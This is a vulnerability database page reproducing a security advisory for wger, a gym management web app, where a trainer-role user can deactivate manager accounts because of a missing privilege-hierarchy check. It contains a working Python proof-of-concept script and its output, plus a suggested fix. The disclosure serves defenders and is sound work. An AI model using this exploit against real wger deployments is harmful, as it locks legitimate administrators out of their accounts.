GHSA-X249-CX55-2H87
Vulnerability from github – Published: 2026-10-07 13:59 – Updated: 2026-10-07 13:59Summary
A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
Details
UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
def has_permission(self):
for permission in self.get_permission_required():
if self.request.user.has_perm(permission):
return True # <-- ANY one permission is enough
return False
The dispatch() method only verifies same-gym membership:
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
return HttpResponseForbidden()
# NO check: is the target user more privileged than the requester?
return super().dispatch(request, *args, **kwargs)
There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).
An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
PoC
Prerequisites
- A gym with at least two users: one with
gym_managerrole (victim) and one withgym_trainerrole (attacker) - Both users belong to the same gym
Attack Steps
# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate
The manager's account is immediately set to is_active = False. The manager can no longer log in.
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import re
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"
BANNER = """
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- Setup via Django ORM (must run inside container) ----
import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()
from django.contrib.auth.models import User, Group
from wger.gym.models import Gym
# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
Group.objects.get_or_create(name=name)
# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")
# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
username=MANAGER_USER,
defaults={"is_active": True}
)
if created:
manager.set_password(MANAGER_PASS)
manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f" Groups: {[g.name for g in manager.groups.all()]}")
print(f" is_active: {manager.is_active}")
# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
username=TRAINER_USER,
defaults={"is_active": True}
)
if created:
trainer.set_password(TRAINER_PASS)
trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f" Groups: {[g.name for g in trainer.groups.all()]}")
# ---- 1. Verify manager is active BEFORE attack ----
manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"
# ---- 2. ATTACK: Trainer deactivates manager ----
print(f"\n{'='*65}")
print(f" ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")
from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n GET /en/user/{manager.id}/deactivate")
print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f" Response: HTTP {resp.status_code}")
# ---- 3. VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
manager.refresh_from_db()
print(f"\n Manager is_active AFTER attack: {manager.is_active}")
if not manager.is_active:
print("""
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| A gym_trainer successfully deactivated a gym_manager! |
| No privilege hierarchy check prevents this. |
| The trainer can now lock out all managers from the gym. |
+----------------------------------------------------------+
""")
manager.is_active = True
manager.save()
print(" [+] Cleanup: Manager re-activated")
else:
print("\n Manager is still active - NOT vulnerable")
Proof of Concept Output
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
Groups: ['gym_manager']
is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
Groups: ['gym_trainer']
[*] Manager is_active BEFORE attack: True
=================================================================
ATTACK: Trainer deactivating gym manager account
=================================================================
Trainer login: HTTP 200
GET http://localhost/en/user/4/deactivate
(Logged in as: evil_trainer_poc - gym_trainer only)
Response: HTTP 200
=================================================================
VERIFICATION
=================================================================
Manager is_active AFTER attack: False
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| A gym_trainer successfully deactivated a gym_manager! |
| No privilege hierarchy check prevents this. |
| The trainer can now lock out all managers from the gym. |
+----------------------------------------------------------+
[+] Cleanup: Manager re-activated
Impact
- Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.
- Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a
general_gym_manager(superadmin) or a Django superuser manually re-activates their accounts. - Abuse Chain: Since
get_permission_list()always includes'trainer'in assignable roles, any manager can unknowingly create the account that will later lock them out.
Fix
Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():
# File: wger/core/views/user.py, inside dispatch() of both views
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
# Trainers must not deactivate/activate managers or other trainers
if request.user.has_perm('gym.gym_trainer') and not (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.manage_gyms')
):
if (
edit_user.has_perm('gym.manage_gym')
or edit_user.has_perm('gym.manage_gyms')
or edit_user.has_perm('gym.gym_trainer')
):
return HttpResponseForbidden()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46434"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T13:59:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.\n\n### Details\n\n`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:\n\n```python\npermission_required = (\u0027gym.manage_gym\u0027, \u0027gym.manage_gyms\u0027, \u0027gym.gym_trainer\u0027)\n```\n\n`WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient:\n\n```python\nclass WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):\n def has_permission(self):\n for permission in self.get_permission_required():\n if self.request.user.has_perm(permission):\n return True # \u003c-- ANY one permission is enough\n return False\n```\n\nThe `dispatch()` method only verifies same-gym membership:\n\n```python\ndef dispatch(self, request, *args, **kwargs):\n edit_user = get_object_or_404(User, pk=self.kwargs[\u0027pk\u0027])\n if (\n request.user.has_perm(\u0027gym.manage_gym\u0027)\n or request.user.has_perm(\u0027gym.gym_trainer\u0027)\n ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:\n return HttpResponseForbidden()\n # NO check: is the target user more privileged than the requester?\n return super().dispatch(request, *args, **kwargs)\n```\n\nThere is **no check** preventing a trainer from targeting a manager. The same vulnerability exists in `UserActivateView` (line 415).\n\nAn additional contributing factor: `get_permission_list()` in `wger/gym/helpers.py` (line 102) **always** includes `\u0027trainer\u0027` in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.\n\n### PoC\n\n#### Prerequisites\n\n- A gym with at least two users: one with `gym_manager` role (victim) and one with `gym_trainer` role (attacker)\n- Both users belong to the same gym\n\n#### Attack Steps\n\n```\n# As the trainer, simply visit:\nGET /en/user/\u003cmanager_user_id\u003e/deactivate\n```\n\nThe manager\u0027s account is immediately set to `is_active = False`. The manager can no longer log in.\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Trainer -\u003e Manager Privilege Escalation (Account Deactivation)\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-269: Improper Privilege Management\n\nUsage:\n python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport re\n\nif len(sys.argv) \u003c 2:\n print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nMANAGER_USER = \"gym_manager_poc\"\nMANAGER_PASS = \"Manager!Poc!2025\"\nTRAINER_USER = \"evil_trainer_poc\"\nTRAINER_PASS = \"Trainer!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n PoC: Trainer -\u003e Manager Privilege Escalation\n Severity: HIGH\n CWE-269: Improper Privilege Management\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helper ----\ndef api_login(username, password):\n r = requests.post(f\"{API}/login/\", json={\n \"username\": username, \"password\": password\n })\n if r.status_code == 200:\n return r.json().get(\"token\")\n return None\n\ndef api_headers(token):\n return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- Setup via Django ORM (must run inside container) ----\n\nimport os, django\nos.environ[\u0027DJANGO_SETTINGS_MODULE\u0027] = \u0027settings.main\u0027\nsys.path.insert(0, \u0027/home/wger/src\u0027)\ndjango.setup()\n\nfrom django.contrib.auth.models import User, Group\nfrom wger.gym.models import Gym\n\n# Ensure permission groups exist\nfor name in [\u0027gym_member\u0027, \u0027gym_trainer\u0027, \u0027gym_manager\u0027, \u0027general_gym_manager\u0027]:\n Group.objects.get_or_create(name=name)\n\n# Create gym\ngym, _ = Gym.objects.get_or_create(name=\"PoC Test Gym\")\nprint(f\"[*] Gym: {gym.name} (id={gym.id})\")\n\n# Create manager (the VICTIM)\nmanager, created = User.objects.get_or_create(\n username=MANAGER_USER,\n defaults={\"is_active\": True}\n)\nif created:\n manager.set_password(MANAGER_PASS)\n manager.save()\nmanager.userprofile.gym = gym\nmanager.userprofile.save()\nmanager.groups.clear()\nmanager.groups.add(Group.objects.get(name=\u0027gym_manager\u0027))\nmanager.is_active = True\nmanager.save()\nprint(f\"[*] Manager (victim): {manager.username} (id={manager.id})\")\nprint(f\" Groups: {[g.name for g in manager.groups.all()]}\")\nprint(f\" is_active: {manager.is_active}\")\n\n# Create trainer (the ATTACKER)\ntrainer, created = User.objects.get_or_create(\n username=TRAINER_USER,\n defaults={\"is_active\": True}\n)\nif created:\n trainer.set_password(TRAINER_PASS)\n trainer.save()\ntrainer.userprofile.gym = gym\ntrainer.userprofile.save()\ntrainer.groups.clear()\ntrainer.groups.add(Group.objects.get(name=\u0027gym_trainer\u0027))\nprint(f\"[*] Trainer (attacker): {trainer.username} (id={trainer.id})\")\nprint(f\" Groups: {[g.name for g in trainer.groups.all()]}\")\n\n\n# ---- 1. Verify manager is active BEFORE attack ----\n\nmanager.refresh_from_db()\nprint(f\"\\n[*] Manager is_active BEFORE attack: {manager.is_active}\")\nassert manager.is_active, \"Manager should be active before test\"\n\n\n# ---- 2. ATTACK: Trainer deactivates manager ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\" ATTACK: Trainer deactivating gym manager account\")\nprint(f\"{\u0027=\u0027*65}\")\n\nfrom django.test import Client\nc = Client()\nc.force_login(trainer)\nresp = c.get(f\"/en/user/{manager.id}/deactivate\", follow=True)\nprint(f\"\\n GET /en/user/{manager.id}/deactivate\")\nprint(f\" (Logged in as: {TRAINER_USER} - gym_trainer only)\")\nprint(f\" Response: HTTP {resp.status_code}\")\n\n\n# ---- 3. VERIFY ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\" VERIFICATION\")\nprint(f\"{\u0027=\u0027*65}\")\n\nmanager.refresh_from_db()\nprint(f\"\\n Manager is_active AFTER attack: {manager.is_active}\")\n\nif not manager.is_active:\n print(\"\"\"\n +----------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | A gym_trainer successfully deactivated a gym_manager! |\n | No privilege hierarchy check prevents this. |\n | The trainer can now lock out all managers from the gym. |\n +----------------------------------------------------------+\n\"\"\")\n manager.is_active = True\n manager.save()\n print(\" [+] Cleanup: Manager re-activated\")\nelse:\n print(\"\\n Manager is still active - NOT vulnerable\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n PoC: Trainer -\u003e Manager Privilege Escalation\n Severity: HIGH\n CWE-269: Improper Privilege Management\n=====================================================================\n\n[*] Gym: PoC Test Gym (id=2)\n[*] Manager (victim): gym_manager_poc (id=4)\n Groups: [\u0027gym_manager\u0027]\n is_active: True\n[*] Trainer (attacker): evil_trainer_poc (id=5)\n Groups: [\u0027gym_trainer\u0027]\n\n[*] Manager is_active BEFORE attack: True\n\n=================================================================\n ATTACK: Trainer deactivating gym manager account\n=================================================================\n\n Trainer login: HTTP 200\n GET http://localhost/en/user/4/deactivate\n (Logged in as: evil_trainer_poc - gym_trainer only)\n Response: HTTP 200\n\n=================================================================\n VERIFICATION\n=================================================================\n\n Manager is_active AFTER attack: False\n\n +----------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | A gym_trainer successfully deactivated a gym_manager! |\n | No privilege hierarchy check prevents this. |\n | The trainer can now lock out all managers from the gym. |\n +----------------------------------------------------------+\n\n [+] Cleanup: Manager re-activated\n```\n\n### Impact\n\n1. **Gym Management Lockout:** A trainer can deactivate every manager account in their gym, effectively seizing control of the gym\u0027s administrative functions.\n2. **Denial of Service:** Deactivated managers cannot log in, manage members, or perform any administrative tasks until a `general_gym_manager` (superadmin) or a Django superuser manually re-activates their accounts.\n3. **Abuse Chain:** Since `get_permission_list()` always includes `\u0027trainer\u0027` in assignable roles, any manager can unknowingly create the account that will later lock them out.\n\n\n### Fix\n\nAdd a privilege hierarchy check in `UserDeactivateView.dispatch()` and `UserActivateView.dispatch()`:\n\n```python\n# File: wger/core/views/user.py, inside dispatch() of both views\n\nedit_user = get_object_or_404(User, pk=self.kwargs[\u0027pk\u0027])\n\n# Trainers must not deactivate/activate managers or other trainers\nif request.user.has_perm(\u0027gym.gym_trainer\u0027) and not (\n request.user.has_perm(\u0027gym.manage_gym\u0027)\n or request.user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n if (\n edit_user.has_perm(\u0027gym.manage_gym\u0027)\n or edit_user.has_perm(\u0027gym.manage_gyms\u0027)\n or edit_user.has_perm(\u0027gym.gym_trainer\u0027)\n ):\n return HttpResponseForbidden()\n```",
"id": "GHSA-x249-cx55-2h87",
"modified": "2026-10-07T13:59:14Z",
"published": "2026-10-07T13:59:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-x249-cx55-2h87"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
},
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/releases/tag/2.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "wger: Trainer Privilege Escalation - Improper Privilege Management"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.